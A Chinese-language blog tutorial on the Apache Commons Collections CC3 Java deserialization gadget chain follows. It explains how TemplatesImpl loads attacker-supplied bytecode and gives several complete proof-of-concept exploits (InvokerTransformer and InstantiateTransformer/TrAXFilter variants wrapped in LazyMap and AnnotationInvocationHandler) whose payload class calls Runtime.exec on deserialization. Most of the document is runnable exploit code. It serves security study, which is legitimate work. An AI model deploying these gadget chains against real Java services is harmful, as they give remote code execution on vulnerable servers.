java反序列化(五)CommonsCollections篇 — CC3
java反序列化(五)CommonsCollections篇 — CC3
CC3与CC1的关系
CC3怎么说呢嗯嗯嗯,,,,,感觉和CC1区别不是很大,最大的不同点在于CC3是通过动态加载类之后将类实例化导致代码执行
通过ClassLoader.defineClass()动态加载类,通过newInstance()函数得到实例化对象
而CC1就是直接通过递归transform()方法直接执行了Runtimee.class.getRuntime.exec("calc")
而CC3的基础调用流程其实还是要建立在CC1的基础上。
Gadget
类加载器ClassLoader
ClassLoader.loadClass()
ClassLoader.findClass(name);
ClassLoader.defineClass()
defineclass从字节里动态加载类,但是类加载不会执行代码
因为defineClass是私有方法所以要找到调用接口:
com.sun.org.apache.xalan.xsltc.trax.Templateslmpl.TranslatClassLoader.defineClass(byte[])
上面方法是default,只能包内调用,继续找接口:
TranslatClassLoader.defineTransletClasses()
上面是私有方法,继续找接口
Templateslmpl.getTransletInstance()
执行newtInstance()得到动态加载的类对象
上面函数还是私有,继续找调用的接口
Templateslmpl.newTransformer() public
代码执行流程:
从尾到头分析有点烦,这次还是直接按照链子走一遍看需要修改哪些参数最后命令执行吧
出发点:Templateslmpl.newTransformer()
newTransformer() -> getTransletInstance()
执行Templateslmpl.newTransformer() 触发Templateslmpl.getTransletInstance()
无需要修改的条件,下一步
getTransletInstance() -> defineTransletClasses()
执行Templateslmpl.getTransletInstance()触发Templateslmpl.TranslatClassLoader.defineTransletClasses()
可见Templateslmpl.name不能为空,否则return
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"random");
Templateslmpl.class必须为null 才会执行下一步的触发函数, Templateslmpl.class默认就是null,无需修改
defineTransletClasses() -> defineClass()
执行Templateslmpl.TranslatClassLoader.defineTransletClasses()触发Templateslmpl.TranslatClassLoader.defineClass()
条件一 : Templateslmpl_bytecodes != null
_bytecodes就是需要动态加载的类文件二进制数据存放的地方,是个二维数组,
我们的一个类只需要存放在一个以为Bytes类数组即可,
这里的_bytecodes是二维数组的原因就是可以让我们存放多个累的二进制数据,从而可以动态加载多个类
赋值操作:
Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});
条件二(interesting) : _tfactory需要设为一个对应的TransformerFactoryImpl类对象 : new TransformerFactoryImpl()
否则如果_tfactory在默认情况下 private transient TransformerFactoryImpl _tfactory = null;
会报错停止程序
_tfactory变量有transient 的不可序列化标记,所以我们不能自己去修改变量然后序列化,
但是readObject()函数中会对_tfactory变量进行赋值操作:
_tfactory = new TransformerFactoryImpl();
所以这就很合适了,我们在序列化操作的时候不需要对_tfactory变量进行赋值修改,
因为修改了也不会将_tfactory序列化,
但是我们在对实例化的templateslmpl进行templateslmpl.newTransformer()的触发可行性测试的时需要赋值,
否则在非反序列化的情况下不会执行命令,
赋值操作:
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
条件三 : __transletIndex 默认值为-1,但是在图中的第三个断点知, _transletIndex 不能小于0,否则直接报错结束程序
默认 : private int _transletIndex = -1;
满足条件的修改方法:
从第二个断点下的if判断条件的代码可见如下代码
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
而i的值为: for (int i = 0; i < classCount; i++)
所以只要满足superClass.getName().equals(ABSTRACT_TRANSLET)就能绕过if (_transletIndex < 0) 的判断条件
superClass = _class[i].getSuperclass();
superClass其实就是动态加载类的父类,
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
因此我们执行代码的动态加载类声明从com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet继承而来即可
//所以要满足条件三,我们需要对动态加载类修改为:
public class CC3staticclass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
defineClass() -> defineClass() -> defineClass()
Middle_Test_POC
//满足代码逻辑后调用templatesTmpl对象的newTransformer()方法造成代码执行测试:
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"random");
Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
//CC3staticclass.class文件由以下类编译得到
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CC3staticclass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
检测可知通过以上方式构造的templates对象触发newTransformer()后最终确实会执行代码
使用标准CC1触发templates.newTransformer()
在这里可以使用CC1链:
//关键修改部分:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
得到CC3_POC_One:
呃呃呃,其实就是使用了com.sun.org.apache.xalan.xsltc.trax.Templateslmpl类来代替Runtime实现代码运行,区别在于CC3使用了动态加载的方式
import com.sun.org.apache.bcel.internal.generic.LoadClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"random");
Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
//以下均为使用CC1触发templates.newTransformer()的代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("set_key","set_value");
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
serializer.serialize(end_anno);
serializer.unserialize();
};
}
//CC3staticclass.class文件由以下类编译得到
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CC3staticclass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
对标准CC1触发的小修动
我们可以使用继承了Serializable的 InstantiateTransformer类的transform()函数可以执行TrAXFilter的构造函数TrAXFilter(Templates templates) 。TrAXFilter.TrAXFilter(Templates templates)
可以执行templates.newTransformer(),所以让传入的参数templates等于构造好的TransformerImpl对象即可,而实际上传入的参数就是 InstantiateTransformer.iArgs,所以让 InstantiateTransformer.iArgs等于我们构造好的TransformerImpl对象
然后触发 InstantiateTransformer.transform()即可
//InstantiateTransformer
共有4个参数:
private static final long serialVersionUID
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
构造函数有两个:
一个为public,需要参数(Class[] paramTypes, Object[] args)
一个为无参构造函数,iParamTypes = null; iArgs = null;
成员方法:
getInstance(Class[] paramTypes, Object[] args) :
public的static方法,获取一个实例化的对象
transform(Object input) :
执行((Class) input).getConstructor(iParamTypes).con.newInstance(iArgs);
即获取一个input.class的实例化对象,构造函数的参数类型和参数都在InstantiateTransformer实例化时已确定
instantiateTransformer.transform()触发可行性测试code
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
//InstantiateTransformer
共有4个参数:
private static final long serialVersionUID
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
构造函数有两个:
一个为public,需要参数(Class[] paramTypes, Object[] args)
一个为无参构造函数,iParamTypes = null; iArgs = null;
成员方法:
getInstance(Class[] paramTypes, Object[] args) :
public的static方法,获取一个实例化的对象
transform(Object input) :
执行((Class) input).getConstructor(iParamTypes).con.newInstance(iArgs);
即获取一个input.class的实例化对象,构造函数的参数类型和参数都在InstantiateTransformer实例化时已确定
instantiateTransformer.transform()函数还是可以通过CC1触发:
得到CC3_POC_Two:
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"random");
Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//----------------------------------------与CC3_POC_One的区别---------------------------------
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(instantiateTransformer),
new InvokerTransformer("transform", new Class[]{Object.class}, new Object[]{TrAXFilter.class}),
};
//也可以这样构造:
//Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class) , instantiateTransformer };
//----------------------------------------与CC3_POC_One的区别---------------------------------
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("set_key","set_value");
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
serializer.serialize(end_anno);
serializer.unserialize();
};
}
CC3_POC_End
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templates = get_templates();
System.out.println("方法一:直接使用标准CC1触发templates.newtransform();\n方法二:通过instantiateTransformer.transform(TrAXFilter.class)触发templates.newtransform()");
System.out.println("其实两者的区别只在于一个是方法一使用InvokerTransformer,方法二使用instantiateTransformer");
System.out.println("一般情况下用方法一标准CC1触发方式就行,如果InvokerTransformer被ban了的话就可用方法二");
//触发templates.newTransformer()方法一(就标准的使用CC1触发):
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
//触发templates.newTransformer()方法二:
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };//方法二<1>
//Transformer[] transformers = new Transformer[]{new ConstantTransformer(instantiateTransformer), new InvokerTransformer("transform", new Class[]{Object.class}, new Object[]{TrAXFilter.class}), };//方法二<2>
standard_CC1plus1(transformers);
};
public static TemplatesImpl get_templates() throws NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"random");
Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
public static void standard_CC1plus1(Transformer[] transformers) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("set_key","set_value");
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
serializer.serialize(end_anno);
serializer.unserialize();
}
}